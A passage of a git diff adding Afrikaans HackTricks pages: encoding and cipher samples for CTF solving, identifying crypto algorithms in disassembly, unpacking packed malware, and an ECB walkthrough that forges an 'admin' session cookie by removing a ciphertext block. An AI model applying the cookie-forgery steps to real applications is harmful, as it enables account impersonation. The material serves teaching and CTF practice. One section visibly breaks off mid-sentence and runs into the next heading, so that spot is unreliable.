||||
### YEncoder
|
||||
|
||||
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
|
||||
BinHex is 'n formaat wat gebruik word om binêre lêers te vertaal na 'n teksformaat wat veilig oorgedra kan word. Dit word dikwels gebruik om lêers te omskep vir oordrag oor e-pos of ander kommunikasiekanale wat slegs teks ondersteun. BinHex gebruik 'n spesiale algoritme om die binêre data om te skakel na 'n reeks ASCII-karakters. Hierdie omgesette teks kan dan veilig oorgedra word sonder om data te verloor of te beskadig. BinHex is 'n nuttige hulpmiddel vir die oordra van binêre lêers in 'n veilige en betroubare formaat.
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
-38K26%'d9J!!:
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
ASCII85 is 'n binêre na teks-koderingsalgoritme wat gebruik word om binêre data om te skakel na 'n teksvorm wat bestaan uit ASCII-karakters. Dit is nuttig vir die oordra van binêre data in 'n teksgebaseerde omgewing, soos e-pos of tekslêers. ASCII85 kodeer elke 4 byte van binêre data na 5 ASCII-karakters.
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorak sleutelbord
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
* [https://www.geocachingtoolbox.com/index.php?lang=af\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=af\&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
Briewe na hul numeriese waarde
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Affine Cipher Encode
|
||||
|
||||
Letter na nommer `(ax+b)%26` (_a_ en _b_ is die sleutels en _x_ is die letter) en die resultaat terug na 'n letter.
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS Kode
|
||||
|
||||
**Multitap** [vervang 'n letter](https://www.dcode.fr/word-letter-change) deur herhaalde syfers wat gedefinieer word deur die ooreenstemmende sleutelkode op 'n mobiele [foon sleutelbord](https://www.dcode.fr/phone-keypad-cipher) (Hierdie modus word gebruik wanneer SMS'e geskryf word).\
|
||||
Byvoorbeeld: 2=A, 22=B, 222=C, 3=D...\
|
||||
Jy kan hierdie kode identifiseer omdat jy\*\* verskeie herhaalde syfers\*\* sal sien.
|
||||
|
||||
Jy kan hierdie kode ontsyfer by: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Bacon Kode
|
||||
|
||||
Vervang elke letter met 4 As of Bs (of 1s en 0s)
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
### Rune
|
||||
|
||||
![](../.gitbook/assets/runes.jpg)
|
||||
|
||||
## Saamdruk
|
||||
|
||||
**Raw Deflate** en **Raw Inflate** (jy kan beide in Cyberchef vind) kan data saamdruk en ontspan sonder koppe.
|
||||
|
||||
## Maklike Kriptografie
|
||||
|
||||
### XOR - Outomatiese oplosser
|
||||
|
||||
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### Bifid
|
||||
|
||||
'n Sleutelwoord is nodig
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### Vigenere
|
||||
|
||||
'n Sleutelwoord is nodig
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## Sterk Kriptografie
|
||||
|
||||
### Fernet
|
||||
|
||||
2 basis64 strings (token en sleutel)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
||||
Key:
|
||||
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||
```
|
||||
* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Samir Geheime Deling
|
||||
|
||||
'n Geheim word in X dele verdeel en om dit te herstel, het jy Y dele nodig (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL brute-force
|
||||
|
||||
* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF)
|
||||
|
||||
## Gereedskap
|
||||
|
||||
* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
200
crypto-and-stego/cryptographic-algorithms/README.md
Normal file
200
crypto-and-stego/cryptographic-algorithms/README.md
Normal file
|
@ -0,0 +1,200 @@
|
|||
# Kriptografiese/Samepersingsalgoritmes
|
||||
|
||||
## Kriptografiese/Samepersingsalgoritmes
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Identifisering van Algoritmes
|
||||
|
||||
As jy in 'n kode **eindig wat skuifregs en -links, XOR's en verskeie rekenkundige bewerkings** gebruik, is dit baie moontlik dat dit die implementering van 'n **kriptografiese algoritme** is. Hier sal 'n paar maniere getoon word om die algoritme te **identifiseer sonder om elke stap om te keer**.
|
||||
|
||||
### API-funksies
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
As hierdie funksie gebruik word, kan jy vind watter **algoritme gebruik word** deur die waarde van die tweede parameter te ondersoek:
|
||||
|
||||
![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>)
|
||||
|
||||
Kyk hier na die tabel van moontlike algoritmes en hul toegewysde waardes: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
Kompresseer en dekompresseer 'n gegewe databuffer.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
Vanaf [die dokumentasie](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Die **CryptAcquireContext**-funksie word gebruik om 'n handvatsel te bekom na 'n spesifieke sleutelhouer binne 'n spesifieke kriptografiese diensverskaffer (CSP). **Hierdie teruggekeerde handvatsel word gebruik in oproepe na CryptoAPI-funksies** wat die gekose CSP gebruik.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
Begin die hasing van 'n stroom data. As hierdie funksie gebruik word, kan jy vind watter **algoritme gebruik word** deur die waarde van die tweede parameter te ondersoek:
|
||||
|
||||
![](<../../.gitbook/assets/image (376).png>)
|
||||
|
||||
Kyk hier na die tabel van moontlike algoritmes en hul toegewysde waardes: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Kodekonstantes
|
||||
|
||||
Soms is dit baie maklik om 'n algoritme te identifiseer dankie aan die feit dat dit 'n spesiale en unieke waarde moet gebruik.
|
||||
|
||||
![](<../../.gitbook/assets/image (370).png>)
|
||||
|
||||
As jy soek na die eerste konstante in Google, is dit wat jy kry:
|
||||
|
||||
![](<../../.gitbook/assets/image (371).png>)
|
||||
|
||||
Daarom kan jy aanneem dat die gedekomponeerde funksie 'n **sha256-kalkulator** is.\
|
||||
Jy kan enige van die ander konstantes soek en jy sal waarskynlik dieselfde resultaat kry.
|
||||
|
||||
### data-inligting
|
||||
|
||||
As die kode nie enige beduidende konstantes het nie, laai dit dalk **inligting van die .data-afdeling**.\
|
||||
Jy kan daardie data **toegang**, die **eerste dword groepeer** en soek daarna in Google soos ons in die vorige afdeling gedoen het:
|
||||
|
||||
![](<../../.gitbook/assets/image (372).png>)
|
||||
|
||||
In hierdie geval, as jy soek na **0xA56363C6**, kan jy vind dat dit verband hou met die **tabelle van die AES-algoritme**.
|
||||
|
||||
## RC4 **(Simmetriese Kriptografie)**
|
||||
|
||||
### Kenmerke
|
||||
|
||||
Dit bestaan uit 3 hoofdele:
|
||||
|
||||
* **Inisialiseringstadium/**: Skep 'n **tabel van waardes van 0x00 tot 0xFF** (totaal 256 byte, 0x100). Hierdie tabel word gewoonlik die **Vervangingstabel** (of SBox) genoem.
|
||||
* **Verwarringstadium**: Sal deur die vooraf geskepte tabel loop (weer 'n lus van 0x100 iterasies) en elke waarde wysig met **semi-willekeurige** byte. Om hierdie semi-willekeurige byte te skep, word die RC4 **sleutel gebruik**. RC4-sleutels kan **tussen 1 en 256 byte lank** wees, maar dit word gewoonlik aanbeveel dat dit meer as 5 byte is. Gewoonlik is RC4-sleutels 16 byte lank.
|
||||
* **XOR-stadium**: Uiteindelik word die oorspronklike teks of siferteks **XOR met die vooraf geskepte waardes**. Die funksie om te enkripteer en dekripteer is dieselfde. Hiervoor sal 'n **lus deur die geskepte 256 byte** uitgevoer word soveel keer as nodig. Dit word gewoonlik herken in 'n gedekomponeerde kode met 'n **%256 (mod 256)**.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Om 'n RC4 in 'n disassemblage/gedekomponeerde kode te identifiseer, kan jy kyk vir 2 lusse van grootte 0x100 (met die gebruik van 'n sleutel) en dan 'n XOR van die insetdata met die 256 waardes wat voorheen in die 2 lusse geskep is, waarskynlik met behulp van 'n %256 (mod 256)**
|
||||
{% endhint %}
|
||||
|
||||
### **Inisialiseringstadium/Vervangingstabel:** (Let op die getal 256 wat as teller gebruik word en hoe 'n 0 in elke plek van die 256 karakters geskryf word)
|
||||
|
||||
![](<../../.gitbook/assets/image (377).png>)
|
||||
|
||||
### **Verwarringstadium:**
|
||||
|
||||
![](<../../.gitbook/assets/image (378).png>)
|
||||
|
||||
### **XOR-stadium:**
|
||||
|
||||
![](<../../.gitbook/assets/image (379).png>)
|
||||
|
||||
## **AES (Simmetriese Kriptografie)**
|
||||
|
||||
### **Kenmerke**
|
||||
|
||||
* Gebruik van **vervangingstabelle en opsoektabelle**
|
||||
* Dit is moontlik om AES te **onderskei deur die gebruik van spesifieke opsoektabelwaardes** (konstantes). _Let daarop dat die **konstante** in die binêre **geberg** of **dinamies geskep** kan word._
|
||||
* Die **enkripsiesleutel** moet deur **16 deelbaar** wees (gewoonlik 32B) en gewoonlik word 'n **IV** van 16B gebruik.
|
||||
|
||||
### SBox-konstantes
|
||||
|
||||
![](<../../.gitbook/assets/image (380).png>)
|
||||
|
||||
## Serpent **(Simmetriese Kriptografie)**
|
||||
|
||||
### Kenmerke
|
||||
|
||||
* Dit is selde om kwaadwillige sagteware te vind wat dit gebruik, maar daar is voorbeelde (Ursnif)
|
||||
* Dit is maklik om te bepaal of 'n algoritme Serpent is of nie op grond van sy lengte (uiters lang funksie)
|
||||
|
||||
### Identifisering
|
||||
|
||||
Let in die volgende prentjie daarop hoe die konstante **0x9E3779B9** gebruik word (let daarop dat hierdie konstante ook deur ander kripto-algoritmes soos **TEA** - Tiny Encryption Algorithm gebruik word).\
|
||||
Let ook op die **grootte van die l
|
||||
## RSA **(Asimmetriese Kriptografie)**
|
||||
|
||||
### Kenmerke
|
||||
|
||||
* Meer kompleks as simmetriese algoritmes
|
||||
* Daar is geen konstantes nie! (aangepaste implementasies is moeilik om te bepaal)
|
||||
* KANAL (‘n kripto-analiseerder) kan nie RSA aanwysings gee nie, omdat dit afhang van konstantes.
|
||||
|
||||
### Identifisering deur vergelykings
|
||||
|
||||
![](<../../.gitbook/assets/image (383).png>)
|
||||
|
||||
* In lyn 11 (links) is daar ‘n `+7) >> 3` wat dieselfde is as in lyn 35 (regs): `+7) / 8`
|
||||
* Lyn 12 (links) kyk of `modulus_len < 0x040` en in lyn 36 (regs) kyk dit of `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (hash)
|
||||
|
||||
### Kenmerke
|
||||
|
||||
* 3 funksies: Init, Update, Final
|
||||
* Soortgelyke inisialiseerfunksies
|
||||
|
||||
### Identifiseer
|
||||
|
||||
**Init**
|
||||
|
||||
Jy kan albei identifiseer deur die konstantes te kyk. Let daarop dat sha\_init een konstante het wat MD5 nie het nie:
|
||||
|
||||
![](<../../.gitbook/assets/image (385).png>)
|
||||
|
||||
**MD5 Transformeer**
|
||||
|
||||
Let op die gebruik van meer konstantes
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1) (1) (1).png>)
|
||||
|
||||
## CRC (hash)
|
||||
|
||||
* Kleiner en meer doeltreffend omdat dit ontwerp is om toevallige veranderinge in data te vind
|
||||
* Gebruik soektabelle (sodat jy konstantes kan identifiseer)
|
||||
|
||||
### Identifiseer
|
||||
|
||||
Kyk na **soektabelkonstantes**:
|
||||
|
||||
![](<../../.gitbook/assets/image (387).png>)
|
||||
|
||||
‘n CRC-hash-algoritme lyk soos:
|
||||
|
||||
![](<../../.gitbook/assets/image (386).png>)
|
||||
|
||||
## APLib (Kompresie)
|
||||
|
||||
### Kenmerke
|
||||
|
||||
* Nie herkenbare konstantes nie
|
||||
* Jy kan probeer om die algoritme in Python te skryf en soek na soortgelyke dinge aanlyn
|
||||
|
||||
### Identifiseer
|
||||
|
||||
Die grafiek is baie groot:
|
||||
|
||||
![](<../../.gitbook/assets/image (207) (2) (1).png>)
|
||||
|
||||
Kyk na **3 vergelykings om dit te herken**:
|
||||
|
||||
![](<../../.gitbook/assets/image (384).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,50 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Identifisering van gepakte binaêre lêers
|
||||
|
||||
* **Gebrek aan strings**: Dit is algemeen om te vind dat gepakte binaêre lêers amper geen strings het nie.
|
||||
* Baie **ongebruikte strings**: Wanneer 'n kwaadwillige program van 'n soort kommersiële pakkingsprogram gebruik maak, is dit algemeen om baie strings sonder kruisverwysings te vind. Selfs as hierdie strings bestaan, beteken dit nie noodwendig dat die binaêre lêer nie gepak is nie.
|
||||
* Jy kan ook van sommige hulpmiddels gebruik maak om te probeer uitvind watter pakkingsprogram gebruik is om 'n binaêre lêer te pak:
|
||||
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||
* [Language 2000](http://farrokhi.net/language/)
|
||||
|
||||
# Basiese Aanbevelings
|
||||
|
||||
* **Begin** deur die gepakte binaêre lêer **van onder af in IDA te analiseer en beweeg opwaarts**. Ontpakkingsprogramme eindig wanneer die ontpakte kode eindig, so dit is onwaarskynlik dat die ontpakker die uitvoering aan die ontpakte kode oordra aan die begin.
|
||||
* Soek na **JMP's** of **CALLs** na **registers** of **geheuegebiede**. Soek ook na **funksies wat argumente druk en 'n adresrigting en dan `retn` oproep**, omdat die terugkeer van die funksie in daardie geval die adres kan oproep wat net voor dit op die stapel gedruk is.
|
||||
* Plaas 'n **afbreking** op `VirtualAlloc`, omdat dit spasie in die geheue toewys waar die program ontpakte kode kan skryf. Voer die "run to user code" uit of gebruik F8 om **waarde binne EAX te kry** na die uitvoering van die funksie en "**volg daardie adres in die dump**". Jy weet nooit of dit die gebied is waar die ontpakte kode gestoor gaan word nie.
|
||||
* **`VirtualAlloc`** met die waarde "**40**" as 'n argument beteken Lees+Skryf+Uitvoer (daar gaan 'n kode gekopieer word wat uitgevoer moet word).
|
||||
* Terwyl jy kode ontpak, is dit normaal om **verskeie oproepe** na **aritmetiese bewerkings** en funksies soos **`memcopy`** of **`Virtual`**`Alloc` te vind. As jy jouself in 'n funksie bevind wat blykbaar slegs aritmetiese bewerkings uitvoer en miskien 'n `memcopy`, is die aanbeveling om te probeer **die einde van die funksie te vind** (miskien 'n JMP of oproep na 'n register) **of ten minste die oproep na die laaste funksie** en hardloop dan daarna, aangesien die kode nie interessant is nie.
|
||||
* Terwyl jy kode ontpak, **merk** jy elke keer as jy 'n **geheuegebied verander**, aangesien 'n verandering in geheuegebied die **begin van die ontpakkingkode** kan aandui. Jy kan maklik 'n geheuegebied aflaai deur gebruik te maak van Process Hacker (proses --> eienskappe --> geheue).
|
||||
* Terwyl jy probeer kode ontpak, is 'n goeie manier om **te weet of jy al met die ontpakte kode werk** (sodat jy dit net kan aflaai) om **die strings van die binaêre lêer te ondersoek**. As jy op 'n punt 'n sprong uitvoer (dalk deur die geheuegebied te verander) en jy besef dat **baie meer strings bygevoeg is**, kan jy weet **jy werk met die ontpakte kode**.\
|
||||
As die pakkingsprogram egter al baie strings bevat, kan jy sien hoeveel strings die woord "http" bevat en sien of hierdie getal toeneem.
|
||||
* Wanneer jy 'n uitvoerbare lêer aflaai van 'n geheuegebied, kan jy sommige koppele aanpas deur [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) te gebruik.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
94
crypto-and-stego/electronic-code-book-ecb.md
Normal file
94
crypto-and-stego/electronic-code-book-ecb.md
Normal file
|
@ -0,0 +1,94 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Elektroniese Kodeboek - simmetriese enkripsieskema wat elke blok van die duidelike teks vervang deur die blok van die sleutelteks. Dit is die eenvoudigste enkripsieskema. Die hoofidee is om die duidelike teks in blokke van N-bits (afhangende van die grootte van die blok van insetdata, enkripsie-algoritme) te verdeel en dan elke blok van duidelike teks te enkripteer (de-enkripteer) met die enigste sleutel.
|
||||
|
||||
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||
|
||||
Die gebruik van ECB het verskeie veiligheidsimplikasies:
|
||||
|
||||
* **Blokke van die enkripteerde boodskap kan verwyder word**
|
||||
* **Blokke van die enkripteerde boodskap kan rondgeskuif word**
|
||||
|
||||
# Opname van die kwesbaarheid
|
||||
|
||||
Stel jou voor jy teken verskeie kere in by 'n toepassing en jy kry **altyd dieselfde koekie**. Dit is omdat die koekie van die toepassing **`<gebruikersnaam>|<wagwoord>`** is.\
|
||||
Dan genereer jy twee nuwe gebruikers, albei met dieselfde lang wagwoord en **byna** dieselfde **gebruikersnaam**.\
|
||||
Jy kom agter dat die blokke van 8B waar die inligting van beide gebruikers dieselfde is, **gelyk** is. Jy vermoed dat dit dalk is omdat **ECB gebruik word**.
|
||||
|
||||
Soos in die volgende voorbeeld. Let op hoe hierdie **2 gedekodeerde koekies** verskeie kere die blok **`\x23U\xE45K\xCB\x21\xC8`** bevat.
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
Dit is omdat die **gebruikersnaam en wagwoord van daardie koekies verskeie kere die letter "a" bevat het** (byvoorbeeld). Die **blokke** wat **verskillend** is, is blokke wat **ten minste 1 verskillende karakter** bevat het (miskien die skeidingsteken "|" of 'n nodige verskil in die gebruikersnaam).
|
||||
|
||||
Nou hoef die aanvaller net te ontdek of die formaat `<gebruikersnaam><skeidingsteken><wagwoord>` of `<wagwoord><skeidingsteken><gebruikersnaam>` is. Om dit te doen, kan hy net **verskeie gebruikersname genereer** met **soortgelyke en lang gebruikersname en wagwoorde** totdat hy die formaat en die lengte van die skeidingsteken vind:
|
||||
|
||||
| Lengte van gebruikersnaam: | Lengte van wagwoord: | Lengte van gebruikersnaam+wagwoord: | Lengte van koekie (na dekodeering): |
|
||||
| ------------------------- | -------------------- | ----------------------------------- | ----------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# Uitbuiting van die kwesbaarheid
|
||||
|
||||
## Verwydering van hele blokke
|
||||
|
||||
Met kennis van die formaat van die koekie (`<gebruikersnaam>|<wagwoord>`), om die gebruikersnaam `admin` na te boots, skep 'n nuwe gebruiker genaamd `aaaaaaaaadmin` en kry die koekie en dekodeer dit:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
Ons kan die patroon `\x23U\xE45K\xCB\x21\xC8` sien wat vantevore geskep is met die gebruikersnaam wat slegs `a` bevat.\
|
||||
Daarna kan jy die eerste blok van 8B verwyder en jy sal 'n geldige koekie vir die gebruikersnaam `admin` kry:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
